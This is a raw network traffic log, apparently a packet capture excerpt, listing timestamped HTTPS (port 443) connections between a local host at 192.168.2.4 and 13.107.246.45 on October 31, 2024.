Oct 31, 2024 11:28:22.364231110 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.364384890 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.364398956 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.380755901 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.380788088 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.380826950 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.380836964 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.380848885 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.380887985 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.382397890 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.382411003 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.382422924 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.382431030 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.385446072 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.385468006 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.385550976 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.386195898 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.386210918 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.395479918 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.395960093 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.395971060 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.396416903 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.396421909 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.406724930 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.406835079 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.406883001 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.406985998 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.406985998 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.407002926 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.407011986 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.410103083 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.410145044 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.410208941 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.410446882 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.410460949 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.526859045 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.526930094 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.526987076 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.527231932 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.527231932 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.527252913 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.527257919 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.530669928 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.530730009 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:22.530797005 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.530950069 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:22.530963898 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.101490974 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.102125883 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.102153063 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.102646112 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.102653980 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.104044914 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.104317904 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.104353905 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.104660034 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.104665995 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.125545979 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.128516912 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.128529072 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.128973961 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.128977060 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.180958033 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.181512117 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.181533098 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.182132006 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.182137966 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.233196020 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.233376980 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.234237909 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.234324932 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.234325886 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.234339952 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.234349012 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.234797001 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.234865904 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.234982014 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.235054016 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.235106945 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.235124111 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.235137939 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.235143900 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.237869978 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.237907887 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.237993002 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.238029957 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.238042116 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.238171101 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.238183975 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.238197088 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.238281012 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.238296032 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.257586956 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.258019924 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.258066893 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.258224964 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.258224964 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.258246899 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.258254051 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.260672092 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.260685921 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.260783911 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.260926962 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.260937929 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.262363911 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.262797117 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.262835026 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.263253927 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.263259888 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.317034960 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.317110062 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.317538977 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.317580938 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.317600965 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.317610025 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.317616940 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.320192099 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.320231915 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.320327997 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.320493937 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.320509911 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.395838976 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.395869970 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.395912886 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.395922899 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.395972013 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.396163940 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.396178007 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.396187067 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.396193027 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.398966074 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.399007082 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.399121046 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.399246931 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.399259090 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.973799944 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.974102020 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.974703074 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.974714041 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.975203991 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.975208998 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.975456953 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.975466013 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.975809097 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.975814104 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.992333889 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.992906094 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.992916107 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:23.993360043 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:23.993366003 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.049549103 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.050121069 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.050136089 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.050657988 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.050664902 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.101358891 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.101452112 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.101562023 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.103868008 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.103943110 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.104017019 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.122335911 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.122392893 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.122498989 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.135886908 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.178752899 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.178821087 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.178915977 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.178929090 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.178980112 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.186398029 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.186762094 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.186762094 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.186784983 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.186794996 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.194982052 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.195015907 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.195029020 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.195034981 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.215010881 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.215010881 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.215045929 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.215058088 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.222994089 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.223010063 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.223020077 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.223026991 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.231234074 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.231249094 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.250034094 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.250049114 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.285532951 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.285583019 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.285639048 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.286717892 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.286757946 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.286818981 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.287867069 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.287897110 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.287966013 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.289129972 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.289164066 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.289222956 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.289760113 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.289777040 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.290111065 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.290127039 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.290252924 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.290268898 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.290297031 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.290328026 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.376580954 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.376667023 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.376754999 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.383069038 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.383100033 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.383110046 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.383116961 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.388766050 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.388801098 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:24.388881922 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.389806986 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:24.389822006 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.233334064 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.233702898 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.234118938 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.234128952 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.236181974 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.236202002 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.236632109 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.236637115 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.236711979 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.236741066 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.236979961 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.237010002 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.237066984 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.237081051 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.237294912 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.237309933 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.237567902 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.237585068 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.237652063 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.237657070 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.367548943 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.369317055 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.369919062 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.369936943 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.370423079 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.370429993 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372241020 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372306108 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372318983 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372338057 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372364998 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372400045 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372416973 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372421026 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372478962 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372531891 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372560024 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372565031 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372565031 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372579098 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372586966 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372590065 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372596025 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372598886 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372750044 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372765064 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.372795105 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.372800112 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.376116037 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376125097 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.376210928 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376398087 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376424074 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.376450062 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376483917 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376485109 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.376529932 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376619101 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376620054 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376631975 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.376631975 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.376708031 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.376724005 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.377043962 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.377110958 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.377156973 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.377262115 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.377269983 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.377279997 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.377285004 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.379625082 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.379647970 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.379722118 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.379862070 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.379873991 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.509386063 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.509423018 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.509473085 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.509578943 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.509604931 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.509897947 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.509897947 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.509917974 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.509922028 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.512912035 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.512943029 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:25.513034105 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.513200045 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:25.513215065 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.113954067 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.114162922 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.114553928 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.114569902 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.114712000 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.114731073 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.115060091 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.115065098 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.115174055 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.115180969 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.128401041 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.128938913 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.128952980 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.129266024 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.129405022 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.129410982 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.129539967 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.129547119 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.129919052 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.129925013 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.248435020 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.248533010 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.248586893 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.248843908 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.248843908 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.248864889 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.248873949 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.251230955 CET	443	49903	13.107.246.45	192.168.2.4
